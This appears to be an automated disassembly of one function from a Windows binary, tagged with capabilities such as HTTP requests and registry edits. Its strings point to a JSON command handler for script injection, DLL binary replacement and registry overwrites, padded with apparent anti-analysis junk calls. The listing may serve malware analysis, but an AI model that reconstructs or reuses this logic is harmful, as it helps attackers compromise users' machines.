Function at 0x14006b310
Capabilities:
Create http request
Delete registry key
Delete registry value
Get disk size
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x203c0
call fcn.1400dc350
sub rsp, rax
mov qword [rsp + 0xa38], 0xfffffffffffffffe
mov rax, qword [0x1401d5e90]
xor rax, rsp
mov qword [rsp + 0x203b0], rax
mov r12, r8
mov rsi, rdx
mov qword [rsp + 0x40], rdx
mov r13, rcx
mov qword [rsp + 0x378], rcx
mov qword [rsp + 0x278], rdx
mov qword [rsp + 0x3a8], r8
mov byte [rsp + 0x7c], 0
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.14003e8c0
nop
lea rcx, [rsp + 0x1890]
call fcn.140039b40
nop
mov rdx, qword [rsi]
mov qword [rsp + 0xe40], rdx
lea rcx, [rsp + 0x70]
call fcn.14001bfc0
nop
mov rdx, qword [rsp + 0x70]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xe50], rax
cmp dword [rax + 0x10], 1
jle 0x14006b3cc
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x70]
call fcn.14001cb00
mov rdx, qword [rsp + 0x70]
xor edi, edi
mov qword [rsp + 0x1750], rdi
mov qword [rsp + 0x1758], rdi
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], dil
or r15, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x14006b408
mov r8d, edi
jmp 0x14006b419
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x14006b410
lea rcx, [rsp + 0x1740]
call fcn.1400013f0
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x1740]
lea rcx, [rsp + 0x1890]
call fcn.140039bf0
test al, al
jne 0x14006b530
lea rdx, [0x1401675a8]
lea rcx, [rsp + 0x3b8]
call fcn.140003890
nop
lea rdx, [rsp + 0x3b8]
mov rcx, qword [r13 + 0x40]
call fcn.140065b60
nop
mov rcx, qword [rsp + 0x3b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b4a2
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006b4ba
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x528], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b505
mov rdx, qword [rsp + 0x528]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1e
cmp byte [rsp + 0x60], 0
jne 0x14006b622
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x3c8]
call fcn.140003890
nop
lea rdx, [rsp + 0x3c8]
mov rcx, qword [r13 + 0x40]
call fcn.140065b60
nop
mov rcx, qword [rsp + 0x3c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b594
mov rdx, qword [rsp + 0x7b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006b5ac
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b5f7
mov rdx, qword [rsp + 0x538]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1e
lea rdx, [0x1401652a4]
lea rcx, [rsp + 0x58]
call fcn.14003f9d0
test al, al
je 0x140070919
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xe60], rax
cmp byte [rax + 8], 4
jne 0x140070919
lea rdx, [0x14016586c]
lea rcx, [rsp + 0x58]
call fcn.14003f9d0
lea rdx, [0x1401651d4]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xe70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe80], rdx
lea rcx, [rsp + 0x48]
call fcn.140003890
nop
mov rax, qword [rsp + 0x48]
lea r8, str.injectScript
mov rdx, r15
nop dword [rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x14006b6d8
add rdx, 2
cmp rdx, 0xd
je 0x14006b6d4
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x14006b6d8
jmp 0x14006b6b0
mov ecx, edi
jmp 0x14006b6dd
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x7a8], ecx
test ecx, ecx
jne 0x14006c18c
lea rdx, [0x140165584]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x898], rax
lea rdx, [0x1401675f8]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xc78], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
lea rdx, [0x140166074]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x8a8], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xe68], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8b8], rdx
lea rcx, [rsp + 0xa8]
call fcn.140003890
nop
mov edx, dword [0x1401ddd80]
mov eax, edx
imul eax, edx
and eax, 0x8000000f
jge 0x14006b788
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 6
jne 0x14006b7b7
mov ecx, edi
mov dword [rsp + 0x240], ecx
movsxd rax, ecx
cmp rax, 0x1b0
jae 0x14006b7b7
mov eax, dword [rsp + rax*4 + 0x1b80]
imul eax, eax, 0x29
add edx, eax
mov dword [0x1401ddd80], edx
inc ecx
jmp 0x14006b78f
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4f8], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d7dd4
mov r14, rax
mov qword [rsp + 0x130], rax
test rax, rax
je 0x14006c088
mov r8, rax
lea rdx, [rsp + 0xa8]
call fcn.140070a70
test al, al
je 0x14006c088
mov rbx, qword [r13 + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0xc88], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0x8c8], rcx
mov edx, 0x5c
call fcn.1400d9b88
mov rcx, rax
mov qword [rsp + 0xf58], rax
test rax, rax
jne 0x14006b83f
mov ecx, r15d
jmp 0x14006b850
mov rax, qword [rbx]
mov qword [rsp + 0x8d8], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0xe0]
call fcn.14002d440
nop
mov eax, dword [0x1401ddd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0xf
jne 0x14006b8ae
call fcn.1400d7b94
mov ecx, dword [0x1401ddd80]
cmp ecx, eax
jne 0x14006b8ae
dec ecx
mov dword [0x1401ddd80], ecx
mov rax, qword [r13 + 0x40]
add rax, 0x1b0
mov qword [rsp + 0xc98], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0x8e8], rcx
call fcn.1400028c0
mov qword [rsp + 0xe78], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x5a8], rbx
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x280], eax
test eax, eax
je 0x14006ba7a
test r12, r12
je 0x14006b92f
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x6e8], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x14006b959
mov rdx, qword [rsp + 0x6e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xe0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b98b
mov rdx, qword [rsp + 0x548]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x828], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b9bd
mov rdx, qword [rsp + 0x828]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b9ec
mov rdx, qword [rsp + 0x558]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006ba04
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006ba4f
mov rdx, qword [rsp + 0x6f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1a
mov rbx, qword [r13 + 0x40]
add rbx, 0x2c8
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x1b0], rbx
lea rdx, [0x140167684]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x8f8], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.14003f9d0
test al, al
je 0x14006bdf5
mov r8d, dword [0x1401ddd80]
lea r9d, [r8 + 1]
lea ecx, [r8 + 2]
imul ecx, r9d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xd
jne 0x14006bb1c
test r8d, r8d
je 0x14006bb12
dec r8d
je 0x14006bb0a
mov dword [0x1401ddd80], r9d
jmp 0x14006bb1c
mov dword [0x1401ddd80], edi
jmp 0x14006bb1c
mov dword [0x1401ddd80], 2
lea rcx, [0x1401d59a8]
mov rax, qword [0x1401d59a8]
call qword [rax + 0x18]
mov qword [rsp + 0xca8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x148], rbx
mov dword [rsp + 0xf0], edi
mov esi, edi
mov dword [rsp + 0x80], edi
call fcn.14006ae40
test al, al
jne 0x14006bb81
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov r14d, 1
nop word [rax + rax]
cmp dword [rsp + 0xf0], 0
jne 0x14006bdb5
mov dword [rsp + 0x1d8], 0x7ffe
lea rax, [rbx - 0x18]
mov qword [rsp + 0x908], rax
mov ecx, r14d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x6c8], ecx
mov eax, dword [rax + 0xc]
sub eax, 0x7ffe
mov dword [rsp + 0x508], eax
or eax, ecx
jge 0x14006bbef
mov edx, 0x7ffe
lea rcx, [rsp + 0x148]
call fcn.140002860
mov rbx, qword [rsp + 0x148]
cmp dword [rbx - 0xc], 0x7ffe
jge 0x14006bc02
mov ecx, 0x80070057
call fcn.140001920
mov dword [rbx - 0x10], 0x7ffe
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x1d8]
mov r8, rbx
mov edx, esi
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xf0], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x854], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400d7e8c
mov dword [rsp + 0x518], eax
test eax, eax
js 0x14006bdab
cmp eax, dword [rbx - 0xc]
jg 0x14006bdab
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov rax, qword [rsp + 0x2a0]
mov dword [rax], edi
lea r8, [0x140167628]
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x568]
call fcn.14001c2d0
mov qword [rsp + 0xf68], rax
mov rdx, qword [rax]
mov qword [rsp + 0x918], rdx
test rdx, rdx
jne 0x14006bcc0
mov eax, r15d
jmp 0x14006bcf3
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x7d0], eax
test eax, eax
jns 0x14006bcd3
mov eax, r15d
jmp 0x14006bcf3
mov rcx, rbx
call fcn.1400d805c
mov qword [rsp + 0xcb8], rax
test rax, rax
jne 0x14006bced
mov eax, r15d
jmp 0x14006bcf3
sub rax, rbx
sar rax, 1
mov dword [rsp + 0x98], eax
cmp eax, 0xffffffff
setne byte [rsp + 0x79]
mov rcx, qword [rsp + 0x568]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006bd33
mov rdx, qword [rsp + 0x7c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x79], 0
je 0x14006bd7e
mov esi, edi
mov dword [rsp + 0x80], edi
mov rbx, qword [rsp + 0x148]
mov rdx, rbx
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x280], eax
test eax, eax
je 0x14006bd96
test r12, r12
je 0x14006bdb5
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
jmp 0x14006bdba
mov esi, dword [rsp + 0x80]
inc esi
mov dword [rsp + 0x80], esi
mov rbx, qword [rsp + 0x148]
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x2a0], rax
jmp 0x14006bb90
mov ecx, 0x80070057
call fcn.140001920
mov esi, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x14006bde3
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r14, qword [rsp + 0x130]
mov rbx, qword [rsp + 0x1b0]
jmp 0x14006bdfa
mov esi, 0xb
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x858], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r14
mov rcx, r14
call fcn.14006b240
mov edx, dword [rbx]
lea eax, [rdx + 1]
mov dword [rbx], eax
lea rcx, [rsp + 0x1870]
call fcn.14006aaf0
mov qword [rsp + 0x928], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006be45
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x870]
call fcn.140003890
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x708]
call fcn.14001c2d0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x400]
call fcn.1400109e0
nop
mov rcx, qword [rsp + 0x708]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x588], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006bebb
mov rdx, qword [rsp + 0x588]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x870]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x598], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006beed
mov rdx, qword [rsp + 0x598]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1888], 0x10
jb 0x14006bf05
mov rcx, qword [rsp + 0x1870]
call fcn.1400d7280
mov qword [rsp + 0x1888], 0xf
mov qword [rsp + 0x1880], rdi
mov byte [rsp + 0x1870], 0
xor bl, bl
mov rbx, qword [rsp + 0x130]
jne 0x14006bf6c
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x868], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x400]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0xe0]
mov rcx, r13
call fcn.140070bc0
mov rcx, rbx
call fcn.1400d7d50
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r12, r12
je 0x14006bfaa
mov word [r12], si
mov word [r12 + 8], r15w
mov rax, qword [r13 + 0x40]
cmp dword [rax + 0x2d0], 3
jne 0x14006bfc1
mov dword [rax + 0x2d0], 4
mov rcx, qword [rsp + 0x400]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x718], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006bff3
mov rdx, qword [rsp + 0x718]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c025
mov rdx, qword [rsp + 0x7d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xe0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c057
mov rdx, qword [rsp + 0x5b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x728], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400708d0
mov rdx, qword [rsp + 0x728]
jmp 0x1400708c7
test r12, r12
je 0x14006c09d
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c0cf
mov rdx, qword [rsp + 0x5c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x838], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c0fe
mov rdx, qword [rsp + 0x838]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006c116
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c161
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1a
lea r8, str.setDLLBinaryReplacment
mov rdx, r15
nop word [rax + rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x14006c1c8
add rdx, 2
cmp rdx, 0x17
je 0x14006c1c4
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x14006c1c8
jmp 0x14006c1a0
mov eax, edi
jmp 0x14006c1cd
sbb eax, eax
or eax, 1
mov dword [rsp + 0x878], eax
test eax, eax
jne 0x14006d026
lea rdx, [0x140165b7c]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xe88], rax
lea rdx, str.from
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x938], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
lea rdx, [0x1401676c0]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xcc8], rax
lea rdx, [0x1401651b4]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x948], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
lea rdx, [0x1401676c8]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xf78], rax
lea rdx, [0x14016539c]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x958], rax
cmp byte [rax + 8], 1
jne 0x1400708d0
lea rdx, [0x1401676a0]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xcd8], rax
lea rdx, [0x1401676a8]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x968], rax
mov rdx, qword [rax]
mov qword [rsp + 0xea8], rdx
lea rcx, [rsp + 0x90]
call fcn.140003890
nop
lea rdx, [0x1401676b0]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x978], rax
lea rdx, [0x1401651dc]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xce8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x988], rdx
lea rcx, [rsp + 0x88]
call fcn.140003890
nop
call fcn.14006aed0
test al, al
jne 0x14006c33a
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
lea rdx, [0x14016771c]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xf88], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x998], rax
mov rcx, rax
call fcn.14003eec0
mov dword [rsp + reloc.OLEAUT32.dll_OleTranslateColor], eax
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x880], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d7dd4
mov rsi, rax
mov qword [rsp + 0x768], rax
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx - 0x10]
mov dword [rsp + 0x778], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d7dd4
mov rbx, rax
mov qword [rsp + 0x648], rax
test rsi, rsi
je 0x14006cef0
test rax, rax
je 0x14006cef0
mov r8, rsi
lea rdx, [rsp + 0x90]
call fcn.140070a70
test al, al
je 0x14006cef0
mov r8, rbx
lea rdx, [rsp + 0x88]
call fcn.140070a70
test al, al
je 0x14006cef0
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x850], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rsi
mov rcx, rsi
call fcn.14006b240
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x438], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.14006b240
mov ecx, dword [0x1401ddd80]
imul ecx, ecx
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 6
jne 0x14006c4c5
mov ecx, 0x28
call fcn.1400d68e8
mov rsi, rax
mov qword [rsp + 0xcf8], rax
mov ebx, edi
mov dword [rsp + 0x1e8], ebx
cmp ebx, 0xa
jge 0x14006c4b4
call fcn.1400d7b94
add eax, dword [0x1401ddd80]
movsxd rcx, ebx
mov dword [rsi + rcx*4], eax
inc ebx
jmp 0x14006c493
mov eax, dword [rsi + 0x24]
mov dword [0x1401ddd80], eax
mov rcx, rsi
call fcn.1400d834c
call fcn.14006ac90
mov ecx, dword [0x1401dfab4]
mov edx, 0x81e6f776
test al, al
cmove ecx, edx
mov dword [0x1401dfab4], ecx
mov rbx, qword [r13 + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0x9a8], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xec8], rcx
mov edx, 0x5c
call fcn.1400d9b88
mov rcx, rax
mov qword [rsp + 0x9b8], rax
test rax, rax
jne 0x14006c51d
mov ecx, r15d
jmp 0x14006c52e
mov rax, qword [rbx]
mov qword [rsp + 0xd08], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0xc0]
call fcn.14002d440
nop
mov rax, qword [r13 + 0x40]
add rax, 0x1b0
mov qword [rsp + 0x9c8], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xf98], rcx
call fcn.1400028c0
mov qword [rsp + 0x9d8], rax
add rax, 0x18
mov qword [rsp + 0x1f0], rax
mov rax, qword [r13 + 0x40]
add rax, 0x2cc
mov qword [rsp + 0x2b0], rax
mov edx, dword [rax]
lea rcx, [rsp + 0x17d0]
call fcn.14006aaf0
mov qword [rsp + 0xd18], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006c5b8
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7e8]
call fcn.140003890
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x738]
call fcn.14001c2d0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.1400109e0
nop
mov rcx, qword [rsp + 0x738]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c62e
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c660
mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x17e8], 0x10
jb 0x14006c678
mov rcx, qword [rsp + 0x17d0]
call fcn.1400d7280
mov qword [rsp + 0x17e8], 0xf
mov qword [rsp + 0x17e0], rdi
mov byte [rsp + 0x17d0], 0
call fcn.14006aed0
test al, al
jne 0x14006c6b7
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x2b0]
mov edx, dword [rax]
lea rcx, [rsp + 0x17f0]
